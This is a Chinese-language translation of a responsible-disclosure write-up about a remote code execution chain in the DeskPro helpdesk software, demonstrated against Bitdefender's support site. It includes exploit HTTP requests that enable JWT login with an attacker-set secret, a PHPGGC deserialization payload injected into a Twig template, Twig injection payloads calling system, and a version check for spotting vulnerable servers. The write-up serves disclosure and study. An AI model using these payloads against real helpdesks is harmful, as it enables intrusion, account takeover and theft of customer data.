Bitdefender网站中DeskPro应用的RCE链条

iso60001  176天前

22.png

近日,我们团队决定研究一下最流行的helpdesk解决方案,并最终得到了不少漏洞。在这篇文章中,我们将解释如何利用这些漏洞,并最终实现RCE。我们的目标是被多个公司使用的DeskPro。

前言

如今,helpdesk是任何公司在线业务的重要组成部分。由于它会和客户交换许多敏感的信息,所以成为了黑客组织的的完美目标。

在2019年9月,我们决定看看一些最流行的开源helpdesk解决方案。而在云端和本地网络之间,我们更倾向于本地解决方案,因为这其中的安全风险不仅是数据泄露,还有潜在的内网渗透。因此,我们选择了DeskPro、osTicket和Kayako的本地版本。

关于DeskPro

根据他们的定义,Deskpro是一个helpdesk软件解决方案,帮助公司管理他们与客户和用户群的沟通,包含多个通信渠道,例如电子邮件,实时聊天,语音,社交媒体等

DeskPro的客户来自不同的行业,从他们的网站上可以看到一些著名的名字:微软、西门子、宝洁、沃达丰、HMRC、CapitalOne、松下、NHS、Valve、布朗大学、Hotel Chocolat、Garmin、Team USA、Arrow、Pure、Xerox、1&1、Booz Allen Hamilton、Bitdefender、美国国防部等等。

上一次发布DeskPro的CVE/漏洞是在2007年,而他们网站最近的安全通告是在2015年。这意味着这个应用要么非常健壮,要么被忽略。现在就让我们看看究竟是什么情况。

漏洞细节

接下来我们将集中介绍漏洞。

1.多个API端点的访问控制缺陷

DeskPro通过API接口实现了高度的自动化和集成,使开发人员能够轻松构建与系统的不同组件进行交互的应用。但是,我们发现多个API端点在验证用户权限方面存在问题,使得普通用户可以未经授权地执行和访问各种敏感操作和信息,以下是其中一些比较重要的。

/api/apps/* – (CVE-2020-11465)

控制/安装helpdesk应用,泄漏当前应用的配置,涉及某些授权应用,如JWT。这使攻击者能够伪造与系统上任何用户相似的有效身份验证模型。

/api/email_accounts – (CVE-2020-11463)

得到所有helpdesk电子邮件帐户的纯文本凭证,包括传入和传出电子邮件凭证。

/api/tickets – (CVE-2020-11466)

得到存储在数据库中带有多个过滤器的所有helpdesk票据的敏感信息。此外,它还泄漏了票据的验证代码,有可能更改票据。

/api/people – (CVE-2020-11464)

得到所有注册用户的敏感信息,包括他们的全名、权限、电子邮件地址、电话号码等。

2.模板编辑功能中反序列化所导致的RCE(需要管理员权限)[CVE-2020-11467]

DeskPro允许管理员通过编辑主题模板来修改helpdesk界面,而且还使用了TWIG作为模板引擎。虽然不能直接访问self_self变量,但我们可以通过可访问的变量来使用PHP自带的unserialize函数,我们往其中传递了payload来触发一组POP gadget,实现远程代码执行。

如何识别目标?

通过对/api/v2/helpdesk/discover的调用,你可以得到一些版本信息,如果发现build_name小于2019.8.0,那么今天可能是你的幸运日。

Exploitation!

攻击计划如下:注册一个普通访客帐户(默认情况注册功能是开启的),得到JWT secret,以管理员身份登录,触发反序列化,拿下服务器!

Bitdefender支持中心(support.bitdefender.com)正使用了Deskpro。我们将在本文中以它作为目标。

不过首先我要感谢Bitdefender安全团队。尽管这些漏洞影响的是一个第三方产品,但他们在几个小时内就临时进行了修复,而且他们允许我们发表这篇文章。

所以让我们开始吧!

1.找到用户的API令牌

为了进行攻击,我们需要一个有效的用户帐户,这可以在https://support.bitdefender.com/en/register上通过注册来轻松获得。

激活用户帐户后,我们可以通过向以下API端点(https://support.bitdefender.com/api/v2/api_token)发送用户名和密码来请求访问令牌,如下所示:

33.png

2.拿到JWT验证信息

注意:任何对API接口的进一步请求都需要将授权头设置为得到的API令牌的base64值。

DeskPro有一组用于身份验证的内置应用,其中之一是由deskpro_us_jwt识别的JWT应用。JWT可以认作是一种跨域身份验证解决方案(也可增加一些额外的其它业务逻辑所必须的声明信息)。为了确保数据的完整性和安全性,通常使用一个密钥进行签名,该密钥可用于验证所提供的声明。因此,如果启用了JWT身份验证,并且我们有这个密钥,那么就可以作为任何用户向应用请求进行身份验证。

由于存在权限控制不严的漏洞,普通用户可以访问包括JWT在内大量API端点。这意味着,普通用户通过一个简单的GET请求https://support.bitdefender.com/api/apps/packages/deskpro_us_jwt?usersource_type=user就能得到JWT secret。

在Bitdefender的案例中,JWT身份验证并没有启用。但是我们可以向相同的端点发出PUT请求来启用它,如下所示

PUT /api/apps/packages/deskpro_us_jwt?usersource_type=user HTTP/1.1
Host: support.bitdefender.com
Authorization: Basic <redacted>
Content-Type: application/json
Content-Length: 269
{"settings":{"sso_type":"none","auto_agent":true,"dp_app":{"title":"JSON Web Token (JWT)"},"actions":[],"enable_usersource":true,"url":"https://www.google.com","secret":"V3ryS3cr3tK3y","algo":"HS256","login_custom_text":"Login","logout_agent_url":"https://www.google.com"}}

此时再通过GET请求,我们可以确认用户是可用的。

44.png

3.Helpdesk的管理页面

为了能够伪造一个有效的JWT管理员令牌,我们需要知道管理员的电子邮件。此时我们利用了另一个API(https://support.bitdefender.com/api/people?is_agent=1),得到所有系统agent和管理员的列表。管理员中的标志`can_admin`会被设置为`true`。

在得到了管理员的邮件地址后,我们知道了JWT认证应用程序的secret,伪造了一个有效的JWT令牌,并使用https://support.bitdefender.com/login/authenticate-callback/6?jwt=<redacted>进行授权。

55.png66.png

4.在Bitdefender Helpdesk中执行任意代码

作为管理员登录后,我们可以触发存在于主题编辑功能中的反序列化漏洞。我们只需要准备一个适当的POP gadget来实现代码执行。接着我们在Guzzle library中发现了gadget链,而且这离不开ambionics公司开发的工具PHPGGC的帮助。

然后我们使用PHPGGC生成序列化对象,并编辑应用的模板,往其中插入payload:

PUT /portal/api/style/edit-theme-set/template-sources HTTP/1.1
Host: support.bitdefender.com
Cookie: <redacted>
Content-Type: application/json
Content-Length: 564
{"template":"Theme::layout.html.twig","code":"{% set p = 'O:24:\"GuzzleHttp\\\\Psr7\\\\FnStream\":2:{s:33:\"\\x00GuzzleHttp\\\\Psr7\\\\FnStream\\x00methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\\\HandlerStack\":3:{s:32:\"\\x00GuzzleHttp\\\\HandlerStack\\x00handler\";s:1:\"1\";s:30:\"\\x00GuzzleHttp\\\\HandlerStack\\x00stack\";a:1:{i:0;a:1:{i:0;s:7:\"phpinfo\";}}s:31:\"\\x00GuzzleHttp\\\\HandlerStack\\x00cached\";b:0;}i:1;s:7:\"resolve\";}}s:14:\"_fn___toString\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}' %} {{var_dump(app.getUser().unserialize(p))}}"}

现在,进入https://support.bitdefender.com/admin-preview-1/new-ticket触发payload,结果如下:

77.png

此时,我们并没有横向渗透,而是向Bitdefender报告了漏洞。

后续

Mahmoud Gamal还提醒了我们另一种可以通过twig模板注入来实现RCE的方法,这甚至是2020年VolgaCTF资格赛的一部分。显然,有不少方法都可导致命令执行。

{{ app.request.query.filter(0,'whoami',1024,{'options':'system'}) }}

{{['whoami']|filter('system')}}

我们已经在最新的稳定版本上测试了这两种payload,效果都非常好。

影响

由于大多数helpdesk都开启了注册功能,所以这一系列漏洞造成的危害非常大。攻击者还可借此进入公司内部网络。

Bitdefender和DeskPro的响应

Bitdefender非常认真地对待这个问题,并在不到24小时内修复了漏洞,考虑到这是第三方产品中的漏洞,所以我必须表扬他们。

DeskPro则发布了一个安全通报,但他们没有提到远程代码执行,我们试图联系他们好几次,但一直没有得到回音。

Bitdefender也奖励了我们5000美元作为漏洞悬赏计划的一部分。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://blog.redforce.io/attacking-helpdesks-part-1-rce-chain-on-deskpro-with-bitdefender-as-case-study/

最新评论

昵称
邮箱
提交评论